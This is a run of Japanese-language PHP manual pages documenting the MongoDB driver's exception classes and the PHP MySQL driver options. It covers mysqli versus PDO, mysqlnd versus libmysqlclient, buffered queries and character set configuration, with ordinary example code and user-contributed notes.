MongoDB\Driver\Exception\LogicException extends LogicException implements MongoDB\Driver\Exception\Exception {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\RuntimeException class

(mongodb >= 1.0.0)

はじめに

Thrown when the driver encounters a runtime error (e.g. internal error from » libmongoc).

クラス概要

MongoDB\Driver\Exception\RuntimeException extends RuntimeException implements MongoDB\Driver\Exception\Exception {
/* プロパティ */
protected array|null $errorLabels ;
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* メソッド */
final public hasErrorLabel ( string $errorLabel ) : bool
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

プロパティ

errorLabels

Contains an array of error labels to go with an exception. For example, error labels can be used to detect whether a transaction can be retried safely if the TransientTransactionError label is present. The existence of a specific error label should be tested for with the MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(), instead of interpreting this errorLabels property manually.

変更履歴

バージョン | 説明
PECL mongodb 1.6.0 | The MongoDB\Driver\Exception\RuntimeException::hasErrorLabel() method and MongoDB\Driver\Exception\RuntimeException::errorLabels property have been added.

目次

  • MongoDB\Driver\Exception\RuntimeException::hasErrorLabel — Returns whether an error label is associated with an exception

User Contributed Notes

There are no user contributed notes for this page.


Returns whether an error label is associated with an exception

  • ≪ MongoDB\Driver\Exception\RuntimeException
  • MongoDB\Driver\Exception\ServerException ≫
  • PHP Manual
  • MongoDB\Driver\Exception\RuntimeException
  • Returns whether an error label is associated with an exception

MongoDB\Driver\Exception\RuntimeException::hasErrorLabel

(mongodb >= 1.6.0)

MongoDB\Driver\Exception\RuntimeException::hasErrorLabel — Returns whether an error label is associated with an exception

説明

final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel ( string $errorLabel ) : bool

Returns whether the errorLabel has been set for this exception. Error labels are set by either the server or the driver to indicated specific situations on which you might want to decide on how you want to handle a specific exception. A common situation might be to find out whether you can safely retry a transaction that failed due to a transient error (like a networking issue, or a transaction conflict). Examples of error labels are TransientTransactionError and UnknownTransactionCommitResult.

パラメータ

errorLabel

The name of the errorLabel to test for.

返り値

Whether the given errorLabel is associated with this exception.

参考

  • MongoDB\Driver\Session::commitTransaction() - Commits a transaction
  • » MongoDB documentation on transactions

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\ServerException class

(mongodb >= 1.5.0)

はじめに

Base class for exceptions thrown by the server. The code of this exception and its subclasses will correspond to the original error code from the server.

クラス概要

MongoDB\Driver\Exception\ServerException extends MongoDB\Driver\Exception\RuntimeException implements MongoDB\Driver\Exception\Exception {
/* 継承したプロパティ */
protected array|null $errorLabels ;
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel ( string $errorLabel ) : bool
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\SSLConnectionException class (deprecated)

(mongodb >= 1.0.0)

警告

This exception class is deprecated and may be removed in a future major version. The driver has never thrown this exception.

はじめに

Thrown when the driver fails to establish an SSL connection with the server.

クラス概要

final MongoDB\Driver\Exception\SSLConnectionException extends MongoDB\Driver\Exception\ConnectionException implements MongoDB\Driver\Exception\Exception {
/* 継承したプロパティ */
protected array|null $errorLabels ;
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel ( string $errorLabel ) : bool
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\UnexpectedValueException class

(mongodb >= 1.0.0)

はじめに

Thrown when the driver encounters an unexpected value (e.g. during BSON serialization or deserialization).

クラス概要

MongoDB\Driver\Exception\UnexpectedValueException extends UnexpectedValueException implements MongoDB\Driver\Exception\Exception {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\WriteException class

(mongodb >= 1.0.0)

はじめに

Base class for exceptions thrown by a failed write operation. The exception encapsulates a MongoDB\Driver\WriteResult object.

クラス概要

abstract MongoDB\Driver\Exception\WriteException extends MongoDB\Driver\Exception\ServerException implements MongoDB\Driver\Exception\Exception {
/* プロパティ */
protected MongoDB\Driver\WriteResult $writeResult ;
/* 継承したプロパティ */
protected array|null $errorLabels ;
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* メソッド */
final public getWriteResult ( ) : MongoDB\Driver\WriteResult
/* 継承したメソッド */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel ( string $errorLabel ) : bool
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

プロパティ

writeResult

The MongoDB\Driver\WriteResult associated with the failed write operation.

変更履歴

バージョン | 説明
PECL mongodb 1.5.0 | This class now extends MongoDB\Driver\Exception\ServerException instead of MongoDB\Driver\Exception\RuntimeException.

目次

  • MongoDB\Driver\Exception\WriteException::getWriteResult — Returns the WriteResult for the failed write operation

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteResult for the failed write operation

  • ≪ MongoDB\Driver\Exception\WriteException
  • Class Tree ≫
  • PHP Manual
  • MongoDB\Driver\Exception\WriteException
  • Returns the WriteResult for the failed write operation

MongoDB\Driver\Exception\WriteException::getWriteResult

(mongodb >= 1.0.0)

MongoDB\Driver\Exception\WriteException::getWriteResult — Returns the WriteResult for the failed write operation

説明

final public MongoDB\Driver\Exception\WriteException::getWriteResult ( ) : MongoDB\Driver\WriteResult

Returns the MongoDB\Driver\WriteResult for the failed write operation. The MongoDB\Driver\WriteResult::getWriteErrors() and MongoDB\Driver\WriteResult::getWriteConcernError() methods may be used to get more details about the failure.

パラメータ

この関数にはパラメータはありません。

返り値

The MongoDB\Driver\WriteResult for the failed write operation.

例

例1 MongoDB\Driver\Exception\WriteException::getWriteResult() example

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost');
$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 1]);

try {
    $manager->executeBulkWrite('db.collection', $bulk);
} catch (MongoDB\Driver\Exception\WriteException $e) {
    $writeResult = $e->getWriteResult();

    if ($writeConcernError = $writeResult->getWriteConcernError()) {
        var_dump($writeConcernError);
    }

    if ($writeErrors = $writeResult->getWriteErrors()) {
        var_dump($writeErrors);
    }
}

?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [0]=>
  object(MongoDB\Driver\WriteError)#5 (4) {
    ["message"]=>
    string(70) "E11000 duplicate key error index: db.collection.$_id_ dup key: { : 1 }"
    ["code"]=>
    int(11000)
    ["index"]=>
    int(1)
    ["info"]=>
    NULL
  }
}

参考

  • MongoDB\Driver\WriteResult
  • MongoDB\Driver\Manager::executeBulkWrite() - Execute one or more write operations

User Contributed Notes

There are no user contributed notes for this page.


MongoDB Exception Class Tree

The class hierarchy for MongoDB exceptions is modeled after that of the SPL Exceptions. Base classes extend their SPL counterpart and all exception classes in the extension implement the MongoDB\Driver\Exception\Exception interface.

  • MongoDB\Driver\Exception\LogicException (extends LogicException)
  • MongoDB\Driver\Exception\InvalidArgumentException (extends InvalidArgumentException)
  • MongoDB\Driver\Exception\UnexpectedValueException (extends UnexpectedValueException)
  • MongoDB\Driver\Exception\RuntimeException (extends RuntimeException)
    • MongoDB\Driver\Exception\ConnectionException
      • MongoDB\Driver\Exception\AuthenticationException
      • MongoDB\Driver\Exception\ConnectionTimeoutException
      • MongoDB\Driver\Exception\SSLConnectionException (deprecated)
    • MongoDB\Driver\Exception\EncryptionException
    • MongoDB\Driver\Exception\ServerException
      • MongoDB\Driver\Exception\CommandException
      • MongoDB\Driver\Exception\ExecutionTimeoutException
      • MongoDB\Driver\Exception\WriteException
        • MongoDB\Driver\Exception\BulkWriteException

User Contributed Notes

There are no user contributed notes for this page.


MySQL ドライバおよびプラグイン

PHP で MySQL を扱うためのドライバやプラグインには、いくつかの種類があります。

それらの違いや MySQL 用拡張モジュールの機能について、ここで簡単に説明します。

  • MySQL 用 PHP ドライバの概要
    • 用語説明
    • どの API を使うか
    • どのライブラリを選ぶか
    • コンセプト
  • MySQLi — MySQL 改良版拡張モジュール
    • はじめに
    • Overview
    • Quick start guide
    • インストール/設定
    • mysqli 拡張モジュールでの持続的接続
    • 定義済み定数
    • ノート
    • The MySQLi Extension Function Summary
    • mysqli — mysqli クラス
    • mysqli_stmt — mysqli_stmt クラス
    • mysqli_result — mysqli_result クラス
    • mysqli_driver — mysqli_driver クラス
    • mysqli_warning — mysqli_warning クラス
    • mysqli_sql_exception — mysqli_sql_exception クラス
    • エイリアスおよび非推奨の Mysqli 関数
    • 変更履歴
  • Mysql_xdevapi
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Mysql_xdevapi 関数
    • mysql_xdevapi\BaseResult — BaseResult クラス
    • mysql_xdevapi\Client — クライアントクラス
    • mysql_xdevapi\Collection — Collection クラス
    • mysql_xdevapi\CollectionAdd — CollectionAdd クラス
    • mysql_xdevapi\CollectionFind — CollectionFind クラス
    • mysql_xdevapi\CollectionModify — CollectionModify クラス
    • mysql_xdevapi\CollectionRemove — CollectionRemove クラス
    • mysql_xdevapi\ColumnResult — ColumnResult クラス
    • mysql_xdevapi\CrudOperationBindable — CrudOperationBindable インターフェイス
    • mysql_xdevapi\CrudOperationLimitable — CrudOperationLimitable インターフェイス
    • mysql_xdevapi\CrudOperationSkippable — CrudOperationSkippable インターフェイス
    • mysql_xdevapi\CrudOperationSortable — CrudOperationSortable インターフェイス
    • mysql_xdevapi\DatabaseObject — DatabaseObject インターフェイス
    • mysql_xdevapi\DocResult — DocResult クラス
    • mysql_xdevapi\Exception — Exception クラス
    • mysql_xdevapi\Executable — Executable インターフェイス
    • mysql_xdevapi\ExecutionStatus — ExecutionStatus クラス
    • mysql_xdevapi\Expression — Expression クラス
    • mysql_xdevapi\Result — Result クラス
    • mysql_xdevapi\RowResult — RowResult クラス
    • mysql_xdevapi\Schema — Schema クラス
    • mysql_xdevapi\SchemaObject — SchemaObject インターフェイス
    • mysql_xdevapi\Session — Session クラス
    • mysql_xdevapi\SqlStatement — SqlStatement クラス
    • mysql_xdevapi\SqlStatementResult — SqlStatementResult クラス
    • mysql_xdevapi\Statement — Statement クラス
    • mysql_xdevapi\Table — Table クラス
    • mysql_xdevapi\TableDelete — TableDelete クラス
    • mysql_xdevapi\TableInsert — TableInsert クラス
    • mysql_xdevapi\TableSelect — TableSelect クラス
    • mysql_xdevapi\TableUpdate — TableUpdate クラス
    • mysql_xdevapi\Warning — Warning クラス
  • MySQL (最初の API) — 最初の MySQL API
    • はじめに
    • インストール/設定
    • 変更履歴
    • 定義済み定数
    • 例
    • MySQL 関数
  • Mysqlnd — MySQL Native Driver
    • はじめに
    • 概要
    • インストール
    • 実行時設定
    • 非互換性
    • 持続的接続
    • 統計情報
    • メモ
    • Memory management
    • MySQL Native Driver プラグインAPI
  • mysqlnd_ms — Mysqlnd レプリケーションおよびロードバランシング用プラグイン
    • はじめに
    • Quickstart and Examples
    • Concepts
    • インストール/設定
    • 定義済み定数
    • Mysqlnd_ms 関数
    • Change History
  • mysqlnd_qc — Mysqlnd クエリ結果キャッシュプラグイン
    • はじめに
    • Quickstart and Examples
    • インストール/設定
    • 定義済み定数
    • mysqlnd_qc 関数
    • Change History
  • mysqlnd_uh — Mysqlnd user handler plugin
    • はじめに
    • Quickstart and Examples
    • インストール/設定
    • 定義済み定数
    • MysqlndUhConnection — The MysqlndUhConnection class
    • MysqlndUhPreparedStatement — The MysqlndUhPreparedStatement class
    • Mysqlnd_uh 関数
    • Change History
  • mysqlnd_mux — Mysqlnd connection multiplexing plugin
    • はじめに
    • Concepts
    • インストール/設定
    • 定義済み定数
    • Change History
  • mysqlnd_memcache — Mysqlnd Memcache プラグイン
    • はじめに
    • クイックスタートとサンプル集
    • インストール/設定
    • 定義済み定数
    • Mysqlnd_memcache 関数
    • 変更履歴

User Contributed Notes

There are no user contributed notes for this page.


MySQL 用 PHP ドライバの概要

はじめに

PHP から MySQL データベースにアクセスするための API は複数あります。 mysqli あるいは PDO_MySQL が利用できます。

このページでは、これらの API についての説明に登場する 用語 について解説したり、 いったいどの API を使えばいいのか を説明したり、選んだ API と組み合わせる MySQL の ライブラリ について説明したりします。

  • 用語説明
  • どの API を使うか
  • どのライブラリを選ぶか
  • コンセプト
    • バッファクエリと非バッファクエリ
    • 文字セット

User Contributed Notes

info at talkforweb dot com dot au 17-Sep-2019 07:00
MySQL deprecated in PHP 5.5.0, and removed in PHP 7.0.0. For a large and old application, this is difficult to search and replace each function.

We can use MySQL functions by creating a wrapper function for each below is running code. <a href="https://www.talkforweb.com.au/php/how-to-use-mysql-in-php-7-version">Click here</a>


用語説明

このセクションでは、PHP アプリケーションの開発で MySQL データベースを扱う ときの選択肢について説明します。

API って何?

API は Application Programming Interface の略で、 何らかのタスクを実行するためにアプリケーションから呼び出す必要のある クラスやメソッド、関数、変数などを定義したものです。 データベースとの通信を必要とする PHP アプリケーションが使うための API は、通常は PHP の拡張モジュールとして公開されています。

API は手続き型にすることもできるし、オブジェクト指向型にすることもできます。 手続き型の API の場合は何かの処理を実行するための関数を呼ぶことになり、 オブジェクト指向型の API の場合はクラスのインスタンスを作ってそのメソッドを呼ぶことになります。 通常は、後者の方法をおすすめします。後者のほうがよりモダンであり、 きっちりとしたコードを書けるからです。

MySQL サーバーとの接続が必要な PHP アプリケーションを書く場合に 使える API はいくつかあって、その中から選べます。 このドキュメントでは、どんな API が使えてどれを選ぶのが最適なのかを解説します。

コネクタとは

MySQL のドキュメントで使われている コネクタ という用語は、 何かのアプリケーションから MySQL データベースサーバーに接続するためのソフトウェアのことを指します。 MySQL はさまざまな言語用のコネクタを提供しており、PHP もその中に含まれます。

PHP のアプリケーションでデータベースサーバーとの通信が必要になったときには、 データベースサーバーへの接続やデータベースへの問い合わせなどの関数を呼ぶ PHP コードを書くことになるでしょう。つまり、PHP アプリケーションから使える API を提供するソフトウェアが必要になるということです。 そのソフトウェアは、アプリケーションとデータベースサーバーの間の通信も処理しないといけません。 おそらくは中間ライブラリも利用することになるでしょう。 このソフトウェアのことを一般的にコネクタと呼びます。というのも、このソフトウェアのおかげで アプリケーションがデータベースサーバーに 接続 (connect) できるようになるからです。

ドライバとは

ドライバとは、特定のデータベースサーバーとの通信をするために作られたソフトウェアのことです。 ドライバはライブラリと呼ばれることもあり、 MySQL Client Library や MySQL Native Driver というように使われます。 これらのライブラリが実装するのは低レベルのプロトコルで、 これを使って MySQL データベースサーバーと通信します。

例を挙げると、データベース抽象化レイヤーの PHP Data Objects (PDO) は各データベース専用のドライバの中からひとつを選んで使います。 数あるドライバの中のひとつに PDO MYSQL ドライバがあり、これが MySQL サーバーとのインターフェイスとなります。

人によっては、コネクタとドライバを混同して使うこともあって、混乱の元となります。 MySQL 関連のドキュメントでは、 コネクタ という用語はデータベース固有の機能を提供するソフトウェアという意味で 予約されています。

拡張モジュールとは

PHP のドキュメントを読んでいると、 拡張モジュール という用語がよく出てきます。 PHP のコードには、コア機能とは別に オプションの拡張モジュールが用意されています。 PHP で使える MySQL 関連の拡張モジュールには mysqli があり、 PHP の拡張モジュール用フレームワークを使って実装されています。

拡張モジュールは一般的に PHP プログラマー向けの API を公開しており、 その機能をプログラムから使えるようになっています。 しかし、PHP 拡張モジュールフレームワークを使って書かれた拡張モジュールの中には、 PHP プログラマー向けの API を公開していないものもあります。

たとえば PDO MySQL ドライバは PHP の拡張モジュールですが、 それ自体は PHP プログラマー向けの API を公開していません。 さらに上位にある PDO レイヤーへのインターフェイスを提供しているだけです。

API と拡張モジュールとは同じ意味ではありません。 拡張モジュールが必ずしもプログラマー向けの API を公開しているとは限らないからです。

User Contributed Notes

There are no user contributed notes for this page.


どの API を使うか

PHP には、様々な MySQL へ接続する API があります。 以下に、mysqli と PDO が提供する API を示します。 それぞれのコードは、"example.com" 上で稼働する MySQL サーバーに ユーザー名 "user"、パスワード "password" で接続するものです。 そして、クエリを実行してユーザーにあいさつします。

例1 MySQL 用 API の比較

<?php
// mysqli
$mysqli = new mysqli("example.com", "user", "password", "database");
$result = $mysqli->query("SELECT 'Hello, dear MySQL user!' AS _message FROM DUAL");
$row = $result->fetch_assoc();
echo htmlentities($row['_message']);

// PDO
$pdo = new PDO('mysql:host=example.com;dbname=database', 'user', 'password');
$statement = $pdo->query("SELECT 'Hello, dear MySQL user!' AS _message FROM DUAL");
$row = $statement->fetch(PDO::FETCH_ASSOC);
echo htmlentities($row['_message']);

機能の比較

全体的なパフォーマンスは、どれもほぼ同じです。 拡張モジュール自体のパフォーマンスが PHP のウェブリクエストの実行時間に及ぼす影響はごくわずかで、 たいていは 0.1% 程度に過ぎません。

 | ext/mysqli | PDO_MySQL
どのバージョンの PHP から使えるか | 5.0 | 5.1
PHP 7.x と PHP 8.x に同梱されているか | Yes | Yes
開発状況 | 進行中 | 進行中
ライフサイクル | 活動中 | 活動中
新規開発でおすすめできるか | Yes | Yes
オブジェクト指向のインターフェイス | Yes | Yes
手続き型のインターフェイス | Yes | No
mysqlnd によるノンブロッキングな非同期クエリ | Yes | No
持続的接続 | Yes | Yes
文字セット | Yes | Yes
サーバーサイドのプリペアドステートメント | Yes | Yes
クライアントサイドのプリペアドステートメント | No | Yes
ストアドプロシージャ | Yes | Yes
複数ステートメント | Yes | Most
トランザクション | Yes | Yes
SQL によるトランザクション制御 | Yes | Yes
MySQL 5.1+ の全機能への対応 | Yes | Most

User Contributed Notes

rellect at gmail dot com 20-Feb-2019 11:37
Another point to consider and one of the advantages of PDO is that it's not limited to mysql and supports other database engines such as PostgreSQL, SQLite, etc.
Anonymous 29-Dec-2016 11:56
These are quite possibly the most paradoxical lines in this table:

API supports non-blocking, asynchronous queries with mysqlnd
     ext/mysqli: Yes     PDO_MySQL: No
API supports client-side Prepared Statements
     ext/mysqli: No     PDO_MySQL: Yes

Apparently it's either asynchronous I/O or the security of bound parameters.
michaeln at associations plus dot see eh 12-Mar-2013 02:49
Another useful consideration to keep in mind when choosing your library is how extensible it is. Chances are, in any sufficiently advanced development scenario, you're going to be extending your database access class to add a method (or multiple methods) for how to handle database errors and alert the development team of errors and whether to have the code fail immediately or fail gracefully serving the user a user-friendly failure notice.

For example, I have a class where I have added extra parameters to the query() function (and a few others), which accept the __FILE__ and __LINE__ constants to facilitate tracking issues. If this were not reasonably possible with PDO-mysql for example (not sure, never used it), it may make one option or the other much less likely to be viable for your usage case.
alvaro at demogracia dot com 21-Jun-2012 09:29
Apart from the feature list, I suggest you try out both MySQLi and PDO and find out what API design you like most. MySQLi is more powerful and probably more complex to learn. PDO is more elegant and has the advantage that you only need to learn one PHP API if you need to work with different DBMS in the future.


どのライブラリを選ぶか

mysqli、PDO_MySQL といった PHP 拡張モジュールは、 どれも C クライアントライブラリの軽量なラッパーです。これらの拡張モジュールは、 mysqlnd ライブラリあるいは libmysqlclient ライブラリのいずれかを使えます。どちらを使うのかを決めるのは、コンパイル時です。

mysqlnd ライブラリは、PHP の一部として配布されています。 遅延接続やクエリのキャッシュなど、libmysqlclient にはない機能も搭載されているので、 この mysqlnd ライブラリを使うことを強くおすすめします。 mysqlnd のドキュメント には、さらなる詳細情報や機能一覧があります。

例1 mysqlnd あるいは libmysqlclient を使う場合の configure コマンド

// おすすめの方法。mysqlnd を使ってコンパイルします。
$ ./configure --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd

// もうひとつのおすすめの方法。mysqlnd を使ってコンパイルします。
$ ./configure --with-mysqli --with-pdo-mysql

// おすすめしない方法。libmysqlclient を使ってコンパイルします。
$ ./configure --with-mysqli=/path/to/mysql_config --with-pdo-mysql=/path/to/mysql_config

ライブラリの機能比較

mysqlnd を使うほうが、 MySQL Client Server library (libmysqlclient) よりもおすすめです。 どちらのライブラリも、開発が続いています。

 | MySQL ネイティブドライバ (mysqlnd) | MySQL クライアントサーバーライブラリ (libmysqlclient)
PHP の配布物に同梱 | Yes | No
どのバージョンの PHP から使えるか | 5.3.0 | N/A
ライセンス | PHP License 3.01 | デュアルライセンス
開発状況 | 進行中 | 進行中
ライフサイクル | 終了予定なし | 終了予定なし
コンパイルのデフォルト (すべての MySQL 拡張モジュール) | Yes | No
圧縮プロトコルへの対応 | Yes | Yes
SSL への対応 | Yes | Yes
名前付きパイプへの対応 | Yes | Yes
ノンブロッキングの非同期クエリ | Yes | No
パフォーマンス統計 | Yes | No
LOAD LOCAL INFILE での open_basedir の反映 | Yes | No
PHP ネイティブのメモリ管理システムを使う (PHP のメモリ制限などに従う) | Yes | No
数値型のカラムを double 型で返す (COM_QUERY) | Yes | No
数値型のカラムを string 型で返す (COM_QUERY) | Yes | Yes
プラグイン API | Yes | Limited
MySQL Replication での読み書きの分離 | Yes. プラグインを使います。 | No
ロードバランシング | Yes. プラグインを使います。 | No
フェイルオーバー | Yes. プラグインを使います。 | No
遅延接続 | Yes. プラグインを使います。 | No
クエリキャッシュ | Yes. プラグインを使います。 | No
透過的なクエリ操作 (自動 EXPLAIN あるいはモニタリングなど) | Yes. プラグインを使います。 | No
自動再接続 | No | オプション

User Contributed Notes

There are no user contributed notes for this page.


コンセプト

目次

  • バッファクエリと非バッファクエリ
  • 文字セット

ここで説明する内容は、PHP 用の MySQL ドライバに固有の内容です。

User Contributed Notes

There are no user contributed notes for this page.


バッファクエリと非バッファクエリ

クエリは、デフォルトではバッファモードで実行されます。 つまり、クエリの結果がすぐに MySQL サーバーから PHP に転送され、 PHP プロセスのメモリ内に結果を保持し続けるということです。 これで、その後で行数を数えたり結果ポインタを移動 (シーク) したりといった操作ができるようになります。 また、同じ接続上でさらに別のクエリを発行しつつ、 現在の結果セットを使った作業をすることもできます。 バッファモードの弱点は、結果セットが大きくなると大量にメモリを消費するということです。 結果セットへの参照がなくなるか、結果セットを明示的に解放する (リクエストを終了すると、自動的に解放されます) まではメモリ上に残り続けます。 バッファモードは「結果を格納する」クエリとも呼ばれます。 ここでは、結果セット全体が一度に格納されます。

注意:

ライブラリとして libmysqlclient を使っている場合は、結果セットのデータを PHP の変数に代入するまで結果セットのメモリ利用量が PHP のメモリ制限にカウントされません。 mysqlnd の場合は、結果セットのメモリがすべて PHP のメモリ制限にもカウントされます。

非バッファクエリは、クエリを実行してリソースを返しますが、 その時点ではまだデータが MySQL サーバー上にあって取得待ちになっています。 PHP 側でのメモリ消費が少なくなりますが、サーバーへの負荷は高くなります。 サーバー上の結果セットからすべての結果を取得するまで、 同じ接続上で別のクエリを実行することはできません。 非バッファクエリは「結果を使う」クエリとも呼ばれます。

こういった特性を考慮すると、バッファクエリを使うのは、 結果セットの量が限られている場合や事前に結果の行数を知りたい場合だけにとどめるべきでしょう。 結果が大量に返ってくることが想定できる場合は、非バッファモードを使わないといけません。

デフォルトはバッファモードなので、以下の例では それぞれの API で非バッファクエリを実行する方法を示します。

例1 非バッファクエリの例: mysqli

<?php
$mysqli  = new mysqli("localhost", "my_user", "my_password", "world");
$uresult = $mysqli->query("SELECT Name FROM City", MYSQLI_USE_RESULT);

if ($uresult) {
   while ($row = $uresult->fetch_assoc()) {
       echo $row['Name'] . PHP_EOL;
   }
}
?>

例2 非バッファクエリの例: pdo_mysql

<?php
$pdo = new PDO("mysql:host=localhost;dbname=world", 'my_user', 'my_pass');
$pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);

$uresult = $pdo->query("SELECT Name FROM City");
if ($uresult) {
   while ($row = $uresult->fetch(PDO::FETCH_ASSOC)) {
       echo $row['Name'] . PHP_EOL;
   }
}
?>

User Contributed Notes

vagg dot dan at me dot com 06-Dec-2017 03:09
if you use this, it won't work:

$pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);

Instead do:

$sth = $pdo->prepare('SELECT * FROM my_table',
array(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => false));
debasiss at mindfiresolutions dot com 18-Jul-2013 02:25
mysql_unbuffered_query() is no more supporting, so only option is MySQLi or PDO


文字セット

適切な文字セットをサーバーレベルで設定しておくのが理想であり、MySQL のマニュアルの » Character Set Configuration にもそうするよう書かれています。 しかしそれ以外にも、各 MySQL API には実行時に文字セットを指定する方法が用意されています。

警告

文字セットと文字のエスケープ

文字セットはきちんと理解して設定しておかないといけません。 すべての操作に影響が及び、セキュリティの問題を引き起こす可能性があるからです。 たとえば、文字列のエスケープ (mysqli なら mysqli_real_escape_string()、 PDO_MySQL なら PDO::quote()) は文字セットの設定に従った動きをします。 これらの関数は、クエリで設定した文字セットは使わないことを知っておくことが大切です。 たとえば次の例のような設定をしても、エスケープ機能は正しく動きません。

例1 文字セットを SQL で指定することによる問題

<?php

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

// これは $mysqli->real_escape_string(); に影響を及ぼしません
$mysqli->query("SET NAMES utf8mb4");

// これも $mysqli->real_escape_string(); に影響を及ぼしません
$mysqli->query("SET CHARACTER SET utf8mb4");

// しかしこの方法なら $mysqli->real_escape_string(); にもきちんと影響します
$mysqli->set_charset('utf8mb4');

// いっぽう、こちらは影響を及ぼしません (UTF-8 と utf8mb4 の違いに注目) -- ここではハイフンを使ってはいけません
$mysqli->set_charset('UTF-8');
?>

実行時に文字セットを変更する適切な方法を、各 API について示します。

注意: UTF-8 でありがちなミス

MySQL の文字セット名はハイフンを含まないので、MySQL で (3バイト以下の UTF-8 Unicode エンコーディング という意味の) UTF-8 を表す文字セットは "utf8" が正解です。"UTF-8" ではありません。そのため、 "UTF-8" と指定しても文字セットは変わらず、エラーが発生します。

例2 文字セットの設定: mysqli

<?php

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

echo 'Initial character set: ' . $mysqli->character_set_name() . "\n";

if (!$mysqli->set_charset('utf8mb4')) {
    printf("Error loading character set utf8mb4: %s\n", $mysqli->error);
    exit;
}

echo 'Your current character set is: ' . $mysqli->character_set_name() . "\n";
?>

例3 文字セットの設定: pdo_mysql

<?php
$pdo = new PDO("mysql:host=localhost;dbname=world;charset=utf8mb4", 'my_user', 'my_pass');
?>

User Contributed Notes

mkroese at eljakim dot nl 21-Nov-2017 06:44
Please note that MySQL's utf8 encoding has a maximum of 3 bytes and is unable to encode *all* unicode characters.

If you need to encode characters beyond the BMP (Basic Multilingual Plane), like emoji or other special characters, you will need to use a different encoding like utf8mb4 or any other encoding supporting the higher planes. Mysql will discard any characters encoded in 4 bytes (or more).

See https://dev.mysql.com/doc/refman/5.7/en/charset-unicode-utf8mb4.html for more information on the matter
go at NOSPAMME dot quidera dot com 30-Aug-2012 05:11
If none of the character set alterations work and the data is valid UTF8 and is garbled when saved in mysql. Then your table is not supporting UTF8 and likely is Latin1 or something else. So  you will need to update you table, in the case of MySQL do the following:

ALTER TABLE <table_name> CONVERT TO CHARACTER SET utf8;


MySQL 改良版拡張モジュール

  • はじめに
  • Overview
  • Quick start guide
    • Dual procedural and object-oriented interface
    • Connections
    • Executing statements
    • Prepared Statements
    • Stored Procedures
    • Multiple Statements
    • API support for transactions
    • Metadata
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • mysqli 拡張モジュールでの持続的接続
  • 定義済み定数
  • ノート
  • The MySQLi Extension Function Summary
  • mysqli — mysqli クラス
    • mysqli::$affected_rows — 直前の MySQL の操作で変更された行の数を得る
    • mysqli::autocommit — データベース更新の自動コミットをオンまたはオフにする
    • mysqli::begin_transaction — トランザクションを開始する
    • mysqli::change_user — 指定されたデータベース接続のユーザー名を変更する
    • mysqli::character_set_name — データベース接続のデフォルトの文字コードセットを返す
    • mysqli::close — 事前にオープンしているデータベース接続を閉じる
    • mysqli::commit — 現在のトランザクションをコミットする
    • mysqli::$connect_errno — 直近の接続コールに関するエラーコードを返す
    • mysqli::$connect_error — 直近の接続エラーの内容を文字列で返す
